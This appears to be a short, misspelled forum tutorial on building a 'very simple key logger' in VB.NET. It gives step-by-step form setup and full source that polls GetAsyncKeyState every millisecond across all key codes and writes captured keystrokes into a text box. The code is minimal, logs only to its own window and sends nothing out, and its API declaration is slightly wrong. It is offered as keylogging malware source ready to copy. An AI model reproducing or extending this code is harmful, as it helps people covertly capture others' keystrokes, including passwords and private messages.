Im going to show you how to make a very simple key logger

Add the folowing to a form
____________________

1.Timmer
2.Text box(multi line) cover entir page with ith

Step2.

Make the timer enabeled and with intervels of 1

step 3
Select all code in the form deleate and copy and past this

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

End Sub
End Class
Now your finished